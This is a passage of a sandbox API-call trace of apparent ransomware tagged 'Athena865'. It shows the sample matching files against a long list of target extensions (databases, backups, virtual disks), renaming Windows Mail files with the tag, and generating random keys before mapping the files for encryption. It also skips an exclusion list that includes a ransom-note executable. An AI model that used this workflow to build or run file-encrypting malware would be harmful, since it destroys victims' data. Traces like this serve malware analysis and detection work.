(lpString1="exe", lpString2="ckp") returned 1 [0046.898] lstrlenW (lpString="cma") returned 3 [0046.898] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0046.898] lstrlenW (lpString="cpd") returned 3 [0046.898] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0046.898] lstrlenW (lpString="dacpac") returned 6 [0046.898] lstrcmpiW (lpString1="ab.exe", lpString2="dacpac") returned -1 [0046.899] lstrlenW (lpString="dad") returned 3 [0046.899] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0046.899] lstrlenW (lpString="dadiagrams") returned 10 [0046.899] lstrlenW (lpString="daschema") returned 8 [0046.899] lstrlenW (lpString="db-journal") returned 10 [0046.899] lstrlenW (lpString="db-shm") returned 6 [0046.899] lstrcmpiW (lpString1="ab.exe", lpString2="db-shm") returned -1 [0046.899] lstrlenW (lpString="db-wal") returned 6 [0046.899] lstrcmpiW (lpString1="ab.exe", lpString2="db-wal") returned -1 [0046.899] lstrlenW (lpString="dbc") returned 3 [0046.899] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0046.899] lstrlenW (lpString="dbs") returned 3 [0046.899] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0046.899] lstrlenW (lpString="dbt") returned 3 [0046.899] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0046.899] lstrlenW (lpString="dbv") returned 3 [0046.899] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0046.899] lstrlenW (lpString="dbx") returned 3 [0046.899] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0046.899] lstrlenW (lpString="dcb") returned 3 [0046.899] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0046.899] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0046.899] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0046.899] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0046.899] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1 [0046.899] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1 [0046.899] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1 [0046.900] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Mail\\wab.exe.Athena865") returned 53 [0046.900] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Mail\\wab.exe" (normalized: "c:\\program files (x86)\\windows mail\\wab.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Mail\\wab.exe.Athena865" (normalized: "c:\\program files (x86)\\windows mail\\wab.exe.athena865"), dwFlags=0x1) returned 1 [0046.901] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Mail\\wab.exe.Athena865" (normalized: "c:\\program files (x86)\\windows mail\\wab.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0046.901] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=516096) returned 1 [0046.901] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0046.901] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0046.901] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0046.901] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0046.902] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0046.902] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0046.902] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7e300, lpName=0x0) returned 0x154 [0046.904] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7e300) returned 0x2d50000 [0046.925] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0046.926] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0046.926] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0046.926] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0046.926] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0046.926] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0046.926] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0046.926] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0046.926] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0046.926] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x532d08 [0046.926] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0046.926] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0046.926] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0046.926] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0046.930] CloseHandle (hObject=0x154) returned 1 [0046.930] CloseHandle (hObject=0x17c) returned 1 [0046.931] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0046.931] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0046.931] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0046.933] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a77900b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8a77900b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xb04ef6b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wabfind.dll", cAlternateFileName="")) returned 1 [0046.933] lstrcmpiW (lpString1="wabfind.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0046.933] lstrcmpiW (lpString1="wabfind.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0046.933] lstrcmpiW (lpString1="wabfind.dll", lpString2=".") returned 1 [0046.933] lstrcmpiW (lpString1="wabfind.dll", lpString2="..") returned 1 [0046.933] lstrcmpiW (lpString1="wabfind.dll", lpString2="windows") returned -1 [0046.933] lstrcmpiW (lpString1="wabfind.dll", lpString2="bootmgr") returned 1 [0046.933] lstrcmpiW (lpString1="wabfind.dll", lpString2="temp") returned 1 [0046.933] lstrcmpiW (lpString1="wabfind.dll", lpString2="pagefile.sys") returned 1 [0046.933] lstrcmpiW (lpString1="wabfind.dll", lpString2="boot") returned 1 [0046.933] lstrcmpiW (lpString1="wabfind.dll", lpString2="ids.txt") returned 1 [0046.933] lstrcmpiW (lpString1="wabfind.dll", lpString2="ntuser.dat") returned 1 [0046.933] lstrcmpiW (lpString1="wabfind.dll", lpString2="perflogs") returned 1 [0046.933] lstrcmpiW (lpString1="wabfind.dll", lpString2="MSBuild") returned 1 [0046.933] lstrlenW (lpString="wabfind.dll") returned 11 [0046.933] lstrcpyW (in: lpString1=0x241e890, lpString2="wabfind.dll" | out: lpString1="wabfind.dll") returned="wabfind.dll" [0046.933] lstrlenW (lpString="wabfind.dll") returned 11 [0046.933] lstrlenW (lpString="Athena865") returned 9 [0046.933] lstrcmpiW (lpString1="bfind.dll", lpString2="Athena865") returned 1 [0046.933] lstrlenW (lpString=".dll") returned 4 [0046.933] lstrcmpiW (lpString1="wabfind.dll", lpString2=".dll") returned 1 [0046.933] lstrlenW (lpString=".lnk") returned 4 [0046.933] lstrcmpiW (lpString1="wabfind.dll", lpString2=".lnk") returned 1 [0046.933] lstrlenW (lpString=".ini") returned 4 [0046.933] lstrcmpiW (lpString1="wabfind.dll", lpString2=".ini") returned 1 [0046.933] lstrlenW (lpString=".sys") returned 4 [0046.934] lstrcmpiW (lpString1="wabfind.dll", lpString2=".sys") returned 1 [0046.934] lstrlenW (lpString="wabfind.dll") returned 11 [0046.934] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Mail\\wabfind.dll.Athena865") returned 57 [0046.934] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Mail\\wabfind.dll" (normalized: "c:\\program files (x86)\\windows mail\\wabfind.dll"), lpNewFileName="C:\\Program Files (x86)\\Windows Mail\\wabfind.dll.Athena865" (normalized: "c:\\program files (x86)\\windows mail\\wabfind.dll.athena865"), dwFlags=0x1) returned 1 [0046.934] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Mail\\wabfind.dll.Athena865" (normalized: "c:\\program files (x86)\\windows mail\\wabfind.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0046.934] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=33280) returned 1 [0046.934] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0046.935] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0046.935] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0046.935] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0046.935] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0046.935] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0046.936] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8500, lpName=0x0) returned 0x154 [0046.937] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8500) returned 0x100000 [0046.941] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0046.942] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0046.942] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0046.942] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0046.942] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0046.942] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0046.942] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0046.942] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0046.942] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0046.942] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x532d08 [0046.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0046.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0046.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0046.943] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0046.943] CloseHandle (hObject=0x154) returned 1 [0046.943] CloseHandle (hObject=0x17c) returned 1 [0046.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0046.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0046.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0046.944] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a1aba92, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8a1aba92, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xb05167b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wabimp.dll", cAlternateFileName="")) returned 1 [0046.944] lstrcmpiW (lpString1="wabimp.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0046.944] lstrcmpiW (lpString1="wabimp.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0046.944] lstrcmpiW (lpString1="wabimp.dll", lpString2=".") returned 1 [0046.944] lstrcmpiW (lpString1="wabimp.dll", lpString2="..") returned 1 [0046.944] lstrcmpiW (lpString1="wabimp.dll", lpString2="windows") returned -1 [0046.944] lstrcmpiW (lpString1="wabimp.dll", lpString2="bootmgr") returned 1 [0046.944] lstrcmpiW (lpString1="wabimp.dll", lpString2="temp") returned 1 [0046.944] lstrcmpiW (lpString1="wabimp.dll", lpString2="pagefile.sys") returned 1 [0046.944] lstrcmpiW (lpString1="wabimp.dll", lpString2="boot") returned 1 [0046.944] lstrcmpiW (lpString1="wabimp.dll", lpString2="ids.txt") returned 1 [0046.944] lstrcmpiW (lpString1="wabimp.dll", lpString2="ntuser.dat") returned 1 [0046.944] lstrcmpiW (lpString1="wabimp.dll", lpString2="perflogs") returned 1 [0046.944] lstrcmpiW (lpString1="wabimp.dll", lpString2="MSBuild") returned 1 [0046.944] lstrlenW (lpString="wabimp.dll") returned 10 [0046.944] lstrcpyW (in: lpString1=0x241e890, lpString2="wabimp.dll" | out: lpString1="wabimp.dll") returned="wabimp.dll" [0046.944] lstrlenW (lpString="wabimp.dll") returned 10 [0046.944] lstrlenW (lpString="Athena865") returned 9 [0046.944] lstrcmpiW (lpString1="abimp.dll", lpString2="Athena865") returned -1 [0046.944] lstrlenW (lpString=".dll") returned 4 [0046.944] lstrcmpiW (lpString1="wabimp.dll", lpString2=".dll") returned 1 [0046.944] lstrlenW (lpString=".lnk") returned 4 [0046.944] lstrcmpiW (lpString1="wabimp.dll", lpString2=".lnk") returned 1 [0046.944] lstrlenW (lpString=".ini") returned 4 [0046.944] lstrcmpiW (lpString1="wabimp.dll", lpString2=".ini") returned 1 [0046.944] lstrlenW (lpString=".sys") returned 4 [0046.944] lstrcmpiW (lpString1="wabimp.dll", lpString2=".sys") returned 1 [0046.944] lstrlenW (lpString="wabimp.dll") returned 10 [0046.944] lstrlenW (lpString="bak") returned 3 [0046.944] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0046.944] lstrlenW (lpString="ba_") returned 3 [0046.944] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0046.944] lstrlenW (lpString="dbb") returned 3 [0046.944] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0046.944] lstrlenW (lpString="vmdk") returned 4 [0046.945] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0046.945] lstrlenW (lpString="rar") returned 3 [0046.945] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0046.945] lstrlenW (lpString="zip") returned 3 [0046.945] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0046.945] lstrlenW (lpString="tgz") returned 3 [0046.945] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0046.945] lstrlenW (lpString="vbox") returned 4 [0046.945] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0046.945] lstrlenW (lpString="vdi") returned 3 [0046.945] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0046.945] lstrlenW (lpString="vhd") returned 3 [0046.945] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0046.945] lstrlenW (lpString="vhdx") returned 4 [0046.945] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0046.945] lstrlenW (lpString="avhd") returned 4 [0046.945] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0046.945] lstrlenW (lpString="db") returned 2 [0046.945] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0046.945] lstrlenW (lpString="db2") returned 3 [0046.945] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0046.945] lstrlenW (lpString="db3") returned 3 [0046.945] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0046.945] lstrlenW (lpString="dbf") returned 3 [0046.945] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0046.945] lstrlenW (lpString="mdf") returned 3 [0046.945] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0046.945] lstrlenW (lpString="mdb") returned 3 [0046.945] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0046.945] lstrlenW (lpString="sql") returned 3 [0046.945] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0046.945] lstrlenW (lpString="sqlite") returned 6 [0046.945] lstrcmpiW (lpString1="mp.dll", lpString2="sqlite") returned -1 [0046.945] lstrlenW (lpString="sqlite3") returned 7 [0046.945] lstrcmpiW (lpString1="imp.dll", lpString2="sqlite3") returned -1 [0046.945] lstrlenW (lpString="sqlitedb") returned 8 [0046.945] lstrcmpiW (lpString1="bimp.dll", lpString2="sqlitedb") returned -1 [0046.945] lstrlenW (lpString="xml") returned 3 [0046.945] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0046.946] lstrlenW (lpString="$er") returned 3 [0046.946] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0046.946] lstrlenW (lpString="4dd") returned 3 [0046.946] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0046.946] lstrlenW (lpString="4dl") returned 3 [0046.946] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0046.946] lstrlenW (lpString="^^^") returned 3 [0046.946] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0046.946] lstrlenW (lpString="abs") returned 3 [0046.946] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0046.946] lstrlenW (lpString="abx") returned 3 [0046.946] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0046.946] lstrlenW (lpString="accdb") returned 5 [0046.946] lstrcmpiW (lpString1="p.dll", lpString2="accdb") returned 1 [0046.946] lstrlenW (lpString="accdc") returned 5 [0046.946] lstrcmpiW (lpString1="p.dll", lpString2="accdc") returned 1 [0046.946] lstrlenW (lpString="accde") returned 5 [0046.946] lstrcmpiW (lpString1="p.dll", lpString2="accde") returned 1 [0046.946] lstrlenW (lpString="accdr") returned 5 [0046.946] lstrcmpiW (lpString1="p.dll", lpString2="accdr") returned 1 [0046.946] lstrlenW (lpString="accdt") returned 5 [0046.946] lstrcmpiW (lpString1="p.dll", lpString2="accdt") returned 1 [0046.946] lstrlenW (lpString="accdw") returned 5 [0046.946] lstrcmpiW (lpString1="p.dll", lpString2="accdw") returned 1 [0046.946] lstrlenW (lpString="accft") returned 5 [0046.946] lstrcmpiW (lpString1="p.dll", lpString2="accft") returned 1 [0046.946] lstrlenW (lpString="adb") returned 3 [0046.946] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0046.946] lstrlenW (lpString="adb") returned 3 [0046.946] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0046.946] lstrlenW (lpString="ade") returned 3 [0046.946] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0046.946] lstrlenW (lpString="adf") returned 3 [0046.946] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0046.946] lstrlenW (lpString="adn") returned 3 [0046.946] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0046.946] lstrlenW (lpString="adp") returned 3 [0046.947] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0046.947] lstrlenW (lpString="alf") returned 3 [0046.947] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0046.947] lstrlenW (lpString="ask") returned 3 [0046.947] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0046.947] lstrlenW (lpString="btr") returned 3 [0046.947] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0046.947] lstrlenW (lpString="cat") returned 3 [0046.947] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0046.947] lstrlenW (lpString="cdb") returned 3 [0046.947] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0046.947] lstrlenW (lpString="ckp") returned 3 [0046.947] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0046.947] lstrlenW (lpString="cma") returned 3 [0046.947] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0046.947] lstrlenW (lpString="cpd") returned 3 [0046.947] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0046.947] lstrlenW (lpString="dacpac") returned 6 [0046.947] lstrcmpiW (lpString1="mp.dll", lpString2="dacpac") returned 1 [0046.947] lstrlenW (lpString="dad") returned 3 [0046.947] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0046.947] lstrlenW (lpString="dadiagrams") returned 10 [0046.947] lstrlenW (lpString="daschema") returned 8 [0046.947] lstrcmpiW (lpString1="bimp.dll", lpString2="daschema") returned -1 [0046.947] lstrlenW (lpString="db-journal") returned 10 [0046.947] lstrlenW (lpString="db-shm") returned 6 [0046.947] lstrcmpiW (lpString1="mp.dll", lpString2="db-shm") returned 1 [0046.947] lstrlenW (lpString="db-wal") returned 6 [0046.947] lstrcmpiW (lpString1="mp.dll", lpString2="db-wal") returned 1 [0046.947] lstrlenW (lpString="dbc") returned 3 [0046.947] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0046.947] lstrlenW (lpString="dbs") returned 3 [0046.947] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0046.947] lstrlenW (lpString="dbt") returned 3 [0046.947] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0046.947] lstrlenW (lpString="dbv") returned 3 [0046.947] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0046.948] lstrlenW (lpString="dbx") returned 3 [0046.948] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0046.948] lstrlenW (lpString="dcb") returned 3 [0046.948] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0046.948] lstrlenW (lpString="dct") returned 3 [0046.948] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0046.948] lstrlenW (lpString="dcx") returned 3 [0046.948] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0046.948] lstrlenW (lpString="ddl") returned 3 [0046.948] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0046.948] lstrlenW (lpString="dlis") returned 4 [0046.948] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0046.948] lstrlenW (lpString="dp1") returned 3 [0046.948] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0046.948] lstrlenW (lpString="dqy") returned 3 [0046.948] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0046.948] lstrlenW (lpString="dsk") returned 3 [0046.948] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0046.948] lstrlenW (lpString="dsn") returned 3 [0046.948] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0046.948] lstrlenW (lpString="dtsx") returned 4 [0046.948] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0046.948] lstrlenW (lpString="dxl") returned 3 [0046.948] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0046.948] lstrlenW (lpString="eco") returned 3 [0046.948] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0046.948] lstrlenW (lpString="ecx") returned 3 [0046.948] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0046.948] lstrlenW (lpString="edb") returned 3 [0046.948] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0046.948] lstrlenW (lpString="epim") returned 4 [0046.948] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0046.948] lstrlenW (lpString="fcd") returned 3 [0046.948] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0046.948] lstrlenW (lpString="fdb") returned 3 [0046.948] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0046.948] lstrlenW (lpString="fic") returned 3 [0046.949] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0046.949] lstrlenW (lpString="flexolibrary") returned 12 [0046.949] lstrlenW (lpString="fm5") returned 3 [0046.949] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0046.949] lstrlenW (lpString="fmp") returned 3 [0046.949] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0046.949] lstrlenW (lpString="fmp12") returned 5 [0046.949] lstrcmpiW (lpString1="p.dll", lpString2="fmp12") returned 1 [0046.949] lstrlenW (lpString="fmpsl") returned 5 [0046.949] lstrcmpiW (lpString1="p.dll", lpString2="fmpsl") returned 1 [0046.949] lstrlenW (lpString="fol") returned 3 [0046.949] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0046.949] lstrlenW (lpString="fp3") returned 3 [0046.949] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0046.949] lstrlenW (lpString="fp4") returned 3 [0046.949] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0046.949] lstrlenW (lpString="fp5") returned 3 [0046.949] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0046.949] lstrlenW (lpString="fp7") returned 3 [0046.949] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0046.949] lstrlenW (lpString="fpt") returned 3 [0046.949] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0046.949] lstrlenW (lpString="frm") returned 3 [0046.949] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0046.949] lstrlenW (lpString="gdb") returned 3 [0046.949] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0046.949] lstrlenW (lpString="gdb") returned 3 [0046.949] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0046.949] lstrlenW (lpString="grdb") returned 4 [0046.949] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0046.949] lstrlenW (lpString="gwi") returned 3 [0046.949] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0046.949] lstrlenW (lpString="hdb") returned 3 [0046.949] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0046.949] lstrlenW (lpString="his") returned 3 [0046.949] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0046.949] lstrlenW (lpString="ib") returned 2 [0046.949] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0046.950] lstrlenW (lpString="idb") returned 3 [0046.950] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0046.950] lstrlenW (lpString="ihx") returned 3 [0046.950] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0046.950] lstrlenW (lpString="itdb") returned 4 [0046.950] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0046.950] lstrlenW (lpString="itw") returned 3 [0046.950] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0046.950] lstrlenW (lpString="jet") returned 3 [0046.950] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0046.950] lstrlenW (lpString="jtx") returned 3 [0046.950] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0046.950] lstrlenW (lpString="kdb") returned 3 [0046.950] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0046.950] lstrlenW (lpString="kexi") returned 4 [0046.950] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0046.950] lstrlenW (lpString="kexic") returned 5 [0046.950] lstrcmpiW (lpString1="p.dll", 